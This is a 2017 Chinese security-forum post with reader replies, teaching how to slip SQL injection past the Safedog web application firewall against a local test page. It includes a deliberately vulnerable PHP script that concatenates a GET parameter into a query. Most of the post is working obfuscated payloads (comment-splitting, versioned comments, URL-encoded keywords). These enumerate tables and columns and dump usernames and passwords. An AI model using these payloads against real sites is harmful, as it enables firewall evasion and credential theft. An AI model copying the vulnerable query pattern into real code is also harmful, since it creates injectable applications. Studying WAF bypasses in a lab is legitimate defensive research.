用户
搜索
  • TA的每日心情
    奋斗
    2017-11-7 11:01
  • 签到天数: 75 天

    连续签到: 1 天

    [LV.6]常住居民II

    实习版主

    --i春秋最帅的人

    Rank: 7Rank: 7Rank: 7

    11

    主题

    107

    帖子

    172

    魔法币
    收听
    0
    粉丝
    3
    注册时间
    2016-5-18

    i春秋签约作者核心白帽秦楚燕

    撸大叔 实习版主 --i春秋最帅的人 i春秋签约作者 核心白帽 秦 楚 燕 楼主
    发表于 2017-9-7 17:42:16 1723165


             2017/09/03_Bypass_safedog_Sql注入                                                             作者:Szrzvdny(墨大牛)----偶代发!


    prat 1                                                              
               本文大致内容
    + 思路以及想法
            - 四重注释绕过safedog
    + 实战绕过
            - 绕过and 1=1
            - 绕过union+select
            - 爆表
            - 爆字段
            - 读内容


    prat 2
    测试代码:
    [PHP] 纯文本查看 复制代码
    <?php
    $link = mysqli_connect('localhost','root','root','security');
    $sql = "select * from users where id=".$_GET['id'];
    $result = mysqli_query($link,$sql);
    if($rows = mysqli_fetch_array($result)){
    echo $rows['id'];
    echo '<br>';
    echo $rows['username'];
    echo '<br>';
    echo $rows['password'];
    echo '<br>';
    }
    mysqli_close($link);
    ?>
    prat 3
    绕过 and 1=1
    图片6.png
    发现惨遭拦截,首先让我们来看一下他拦截什么,不拦截什么。
    and         不拦截
    and 1        拦截
    and 1 =                   拦截
    and 1 = 1     拦截
    由此可见,只要and后面出现数字或者成立一个等式那么他就拦截,那我们用/**/注释来绕过一下看看
    /**/aNd/**//**/'a'/**/ = /**/'a'/**/
    注释包含把1=1替换成‘a’ = ‘a’就得到了url:
    图片6.png
    重点:返回不正常(等式不等)并且发现狗就不拦截了,可见注释方法还是如此任性
    Order by
    我发现我装的狗是不会拦截order by的,所以也就没绕,有需求在说。
    图片6.png
    字段为3,接下来爆库,当前用户。
    绕过union+select
    url:http://192.168.1.107/sql.php?id=1 UNION SELECT 1,2,3
    图片6.png
    同样,先看一下他拦截什么。
    union 不拦截
    select 不拦截
    union select 拦截
    很明显,我们只需要在union与select之间处理一下就可以了。
    首先使用/!50000/注释包含/!/然后使用/**/与/–*/打乱一下结构,在稍微进行一下编码处理就可以了
    url:http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,2,3)/*--*/*/-- -
    图片6.png
    可以发现,已经正常显示数字,并且狗没有拦截。 什么?你说没看懂?那么看下图
    图片6.png
    拆分一下就发现其实很好理解,使用()把select的内容包起来


    爆库
    http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user(),database())/*--*/*/-- -
    图片6.png
    发现又特么拦截了,很明显,他会拦截一些常用系统函数(还有许多就不列出来了,列出常用的)
    1. version()——MySQL 版本
    2. user()——数据库用户名
    3. database()——数据库名
    4. @@datadir——数据库路径
    5. @@version_compile_os——操作系统版本
    既然已经知道了拦截什么,那么绕他还难么,掏出/**/注释大法。
    user(),database()之间处理以下。
    那么就成为了
    user/**/(/**/)
    database/**/(/**/)
    完整url:
    http://192.168.1.107/sql.php?id=-1/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user/**/(/**/),database/**/(/**/))/*--*/*/-- -
    图片6.png
    正常爆出数据库跟当前用户
    爆表
    发现我本身的狗可能有点问题,他不拦截from,于是也没有绕,还是那句话,需要啥,绕啥。
    /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,table_name)),user/**/(/**/)
    from information_schema.tables where table_schema='security')/*--*/*/ limit 0,1-- -
    图片6.png
    得到Table
    emails
    referers
    uagents
    Users
    爆字段
    /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,column_name)),user/**/(/**/)
    from information_schema.columns where table_name='users')/*--*/*/ limit 0,1-- -
    图片6.png
    得到column
    id
    username
    Password
    读内容
    /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,username,password)),user/**/(/**/)
    from users)/*--*/*/ limit 0,1-- -
    图片6.png
    Dump
           
    Dumb#Dumb








    术语:

                写文章不易,不喜勿喷!!!    -------------------3Q












    来自群组: i春秋帅哥靓女快活地

    评分

    参与人数 1魔法币 +5 收起 理由
    说书人 + 5 欢迎分析讨论交流,i春秋论坛有你更精彩!.

    查看全部评分

    你可以被打败,但不可以被打倒。
    我i学习 发表于 2017-9-11 14:31
    想知道如果过滤了from是不是没有办法了

    过滤了from在处理便是,能过前面就能过后面,扩展过去就可以了
    使用道具 举报 回复
    aran1234 发表于 2017-9-12 19:00
    id要是post的话怎么,是要在post里面写这么长吗?

    跟get一样
    使用道具 举报 回复
    王海超 发表于 2017-9-14 15:23
    这个狗是那个版本的,我想看看过滤规则

    apache 4.0
    使用道具 举报 回复
    亲我一下 发表于 2017-9-12 21:39
    数据库时access怎么绕讷?

    access懒得搭建。。。
    使用道具 举报 回复
    作为小白的我虽然看起有点费力,但可以看出你很用心写了
    使用道具 举报 回复
    id要是post的话怎么,是要在post里面写这么长吗?
    使用道具 举报 回复
    发表于 2017-9-7 20:47:05
    厉害啊 我的哥
    使用道具 举报 回复
    发表于 2017-9-8 01:15:48
    是不是少了个  */   ?
    使用道具 举报 回复
    挺实用,感谢分享!
    使用道具 举报 回复
    挺实用,感谢分享!
    使用道具 举报 回复
    发表于 2017-9-11 14:31:26
    想知道如果过滤了from是不是没有办法了
    使用道具 举报 回复
    发表于 2017-9-11 15:46:09
    思路 满满的
    使用道具 举报 回复

    厉害啊 我的哥
    使用道具 举报 回复
    数据库时access怎么绕讷?
    使用道具 举报 回复
    发表于 2017-9-14 15:23:47
    这个狗是那个版本的,我想看看过滤规则
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册